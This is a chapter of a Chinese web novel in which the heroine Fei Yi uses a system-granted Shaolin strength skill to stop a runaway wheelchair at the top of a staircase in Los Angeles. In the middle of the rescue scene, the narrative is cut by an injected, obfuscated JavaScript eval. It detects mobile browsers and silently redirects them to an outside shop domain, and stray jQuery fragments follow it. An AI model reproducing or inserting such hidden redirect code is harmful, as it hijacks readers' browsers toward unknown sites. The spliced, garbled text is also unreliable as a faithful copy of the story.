时间一晃,就来到了新的一年。

    1月初的洛杉矶还浸在凌晨的凉意里,唐人街振武社的练武场最先醒了过来。

    晨雾裹着阵阵凉意,顺着雕花窗棂漫进来,落在磨得发亮的木地板上。墙角立着三根木人桩,旁边摆着一个兵器架,刀枪剑戟、斧钺钩叉,各式武器排得整整齐齐。

    菲伊收了最后一式罗汉拳,气沉丹田缓缓吐息,额角的薄汗顺着脸颊滑下,落在地板上。

    她的腿上各绑着五斤的铅袋,比一个月前的负重翻了一倍有余,却依旧稳如松,连呼吸都没乱几分。

    “不错,已经有模有样了。”

    一旁的袁杰端着搪瓷茶缸,看着她满意地点头,“基础打得牢,后面练棍法、身法都快。你待会儿要去新学校报到吧?今天就先到这儿吧。”

    “知道了老师。” 菲伊拿起搭在木桩上的毛巾擦了擦汗,冲袁杰拱手道,“那我先回去了,明天早上准时到。”

    没错,今天是菲伊正式入学谢菲尔德高中的日子。

    去年她从伯克利回来后不久,就收到了谢菲尔德的录取通知书,眼下终于到了入校报到这一天。

    一推开武馆的大门,唐人街独有的烟火气便混在清晨的凉风里,劈头盖脸地涌上来。

    巷口那家广式早点铺已经支起了蒸笼,虾饺、叉烧包的甜香飘得半条街都是。

    菲伊的肚子很配合地 “咕噜” 响了一声,脚下不自觉慢了半拍。

    老板正掀开最上面那层竹笼盖,白汽 “呼” 地一下冒出来,把门口朱红牌坊的翘角都蒙得朦朦胧胧的。抬眼瞧见她,立刻笑着招呼:“阿菲,练完功啦?新出炉的叉烧包,刚刚揭笼,热乎得很呢!”

    “王叔早。”菲伊笑着走过去,“给我拿一笼叉烧包,再打包一碗皮蛋瘦肉粥。”

    上次她顺路带了两份回去,佩妮一口就爱上了暄软甜香的叉烧馅,连着念叨了好几天。马丁看着严肃,却也悄悄说这粥味道不错,配烤吐司当早饭正好。

    陈叔手脚麻利地用纸盒装好,合上盖子前,又额外多舀了半勺粥塞进去,用油纸袋包的严严实实递过来,朝着菲伊半开玩笑道:“跑快一点哦,凉了就不好吃的啦。”

    “哈哈哈,你放心,我的速度,肯定没问题的!”

    菲伊一手递钱,一手接过纸袋。随即重新迈开步子往家里跑,步子依旧很快,只是刻意把拎袋子的手放得稳了些,怕晃洒了粥。

    两侧的街景随着她的步伐一点点换了模样。

    从唐人街飞檐斗拱的青砖巷,变成了车流渐起的柏油路,棕榈树沿着街道一字排开,鸣笛声慢慢多了起来,远处好莱坞山的白色字母在淡金色晨光里越来越清晰。

    就在她跑过一处临街的休闲广场时,突然传来一阵慌乱的惊呼声。

    “快!快刹车!”

    “拦住他!谁快来拦住那轮椅!”

    “天啊,轮椅的刹车失灵了!”

    “你快跳下来啊!不然要摔下去了!”

    “不行!速度太快了,跳下来只会更危险!”

    嘈杂的呼喊声此起彼伏。

    几只原本悠闲踱步觅食的鸽子,被这些叫喊吓了一跳,慌忙扑棱着羽翼腾空而起,蜷在花坛里的小橘猫也倏地弓起脊背,炸着绒毛缩在角落,琥珀色的圆瞳紧紧锁定声源方向,满是警惕。

    菲伊循声抬眼,瞳孔骤然一缩。

    只见广场上,一辆人轮椅正不受控制地飞速滑行,顺着坡道急速冲刺,径直朝着菲伊这头的台阶滚来。

    轮椅后方,两名少年正拼尽全力狂奔追赶,脚步凌乱,呼吸急促,而轮椅的速度却越来越快,两人无论如何发力都追赶不上。

    轮椅上的中年男人早已面无血色,脸上布满绝望。眼见轮椅失控冲向台阶,他只能无助地蜷缩起腰背,双手死死护住头部。

    这台阶临街而建,足足二十多级,落差极大,毫无缓冲的余地,若是以现在这个速度滚落,男人轻则骨折重伤,重则殒命当场。

    人命关天,根本容不得半分迟疑。

    菲伊不假思索地把早餐放在路边,脚下陡然发力,三步并作两步朝着石阶上方疾冲而去。

    一边跑,她一边唤出系统:【立即兑换袁杰的少林石锁功,时间3分钟。】

    石锁功属于少林七十二绝技之一,练成双臂可举重若轻、力贯千钧。

    这也是有一次菲伊看到袁杰竟轻松抛举一对重达60公斤的石锁,才知道居然还有这种功夫,惹得她连连感叹袁杰不去国家举重队可惜了。

    系统响应得很快:【袁杰的石锁功为D级武学能力,150美元/分钟,共计扣除宿主账户450美元……扣除成功,能力兑换完毕,倒计时03:00。】

    话音落下的刹那,一股浑厚沉猛的内劲,顷刻间贯通菲伊的四肢百骸。

    菲伊浑身的筋骨顿时变得绷实稳固,双臂好似蓄满了千斤之力。

    几乎是能力同步完成的瞬间,失控轮椅已然疾驰至石阶边缘,距离坠落深渊仅差分毫,生死一线。

    轮椅上的男人看着迎面冲上来,妄图救他的少女,瞳孔骤颤,又惊又急,拼尽最后力气嘶吼:“快让开!小姑娘快躲开!太快了,你挡不住的!”

    在他看来,菲伊这纤细单薄的身形,在这股足以撞飞成年壮汉的狂暴惯性面前,无异于螳臂当车。

    一旦相撞,非但拦不住失控的轮椅,只会被顺势带着滚下石阶,落得双双重伤的结局。

    身后追车未果的两名少年,此刻也看清了眼前惊险至极的一幕,心脏瞬间收紧,彻底慌了神。

    不出意外的话,下一秒便是少女被狠狠撞飞、顺着石阶翻滚坠落的惨烈画面。

    其中一名扎着短马尾少年惊呼一声,不敢直视接下来的惨剧,吓得闭上双眼。

    身旁的金发少年却不肯放弃,一边拼尽全力朝着台阶边缘狂奔,一边声嘶力竭地高声呼喊,试图挽回局面:

    “天呐!快躲开!”

    “哦不,你在干什么!”

    “你疯了吗?!”

    急切的呼喊响彻街巷,可立于险境中心的菲伊,却充耳不闻,不退反进。

    风势猎猎,失控的轮椅转瞬即至,车轮摩擦地面的急促声响刺耳无比,眼看就要撞上女孩!

    千钧一发之际,却见女孩沉腰扎马,将身体重心压到极致,双腿稳稳扎在地面,右掌顺势探出,借着石锁功蓄势而出的浑厚劲力,精准打在轮椅后侧重心位置。

    原本迅猛失控的巨大冲力撞上她的掌心,如同撞上固若金汤的铁壁。</p

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17934585|209455||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >

    “嗡”的一声闷响!

    狂暴肆虐的冲力顷刻间被卸去。原本即将飞坠而下的轮椅,猛地骤停定格,甚至因力道回弹,微微向后退了小半米。

    但极致的惯性并未随之消散,危机并未消散。

    车身堪堪停稳的刹那,巨大的前冲力依旧裹挟着人体势能。轮椅上的男人身躯脱力前倾,整个人顺着惯性飞出座椅,径直朝着菲伊的方向摔砸而来。

    电光石火间,菲伊仿佛早有预料一般,左手遽然精准探出,箍住男人失重摇摆的腰腹。然后借着惯性流转的弧度,脚下轻巧换步,顺势一转,行云流水般消解掉男子周身的冲劲,彻底稳住其前倾失衡的姿态。

    接着一个漂亮利落的旋身,将惊魂未定的中年男人,平稳安置在一旁的花坛边上。

    尘埃落定,危机彻底解除。

    骤然间,周围陷入一片死寂,纷乱的惊呼、呼啸的风声、车轮的摩擦声尽数消弭。

    半空盘旋的鸽子缓缓敛翅落回地面,不再慌乱躁动。缩在角落的小橘猫慢慢探出身子,圆瞳好奇地盯着广场上的少女。

    方才吓得不敢看的短马尾少年,此时才颤巍巍睁开双眼。

    耳边突如其来的寂静让他心头一怔,茫然地转头望向台阶方向,下一秒,瞳孔猛然放大——预想中惨烈坠阶的画面并未出现,本该摔下台阶的中年男人,此刻竟安然无恙地坐在花坛边。

    而他身前不远处的同伴,不知为何正僵在原地,双目圆瞪,嘴巴微张,活像一只傻不愣登的呆头鹅。

    菲伊率先打破这份诡异的安静,朝男人道:“先生,你还好吗?有没有哪里受伤?”

    中年男人这才从死里逃生的恍惚中回神,他怔怔看着菲伊,结结巴巴地应声:“我……我没事,没受伤,一点事都没有……”

    然后像是想到什么,目光落在菲伊的胳膊上,急切地问:“孩子,你呢?有没有受伤?刚刚那冲击力那么大,太吓人了……你的胳膊、身体有没有事?要不要我带你去医院检查一下?”

    菲伊笑着摇头:“放心,我没事。”

    她只是刚刚发力过猛,肌肉有些酸胀而已。多亏这几月从未间断的武术训练,替她筑牢了身体根基。若是换作从前的身体素质,如此不计后果地使用这种刚猛功夫,双臂恐怕早就脱臼了。

    另一边,短马尾少年也终于回神。

    他快步走上前,伸手轻轻戳了戳金发少年的胳膊,低声问道:“嘿,兄弟,刚刚到底发生了什么?我闭眼的功夫,怎么一切都结束了?”

    金发少年全然无暇理会同伴的问话,目光紧紧锁在菲伊身上,眼底的震撼久久不散。

    他往前走了几步,有些语无伦次地朝菲伊道:

    “你、你刚才到底是怎么做到的?”

    他眼中满是不可思议,一边说,一边笨拙地比划着菲伊拦车救人的动作。

    “那轮椅速度那么快!冲击力那么大!你不仅拦停了它,还能顺势接住飞出去的人,最后居然毫发无损……这、这也太不可思议了!”

    菲伊疑惑地看向他:“你是?”

    少年扬起一抹灿烂的笑容:“我叫莱昂,莱昂·德普雷奥。”

    然后又侧身让了,指着身后的短马尾道:“这是我的好兄弟,亚当·拉姆。”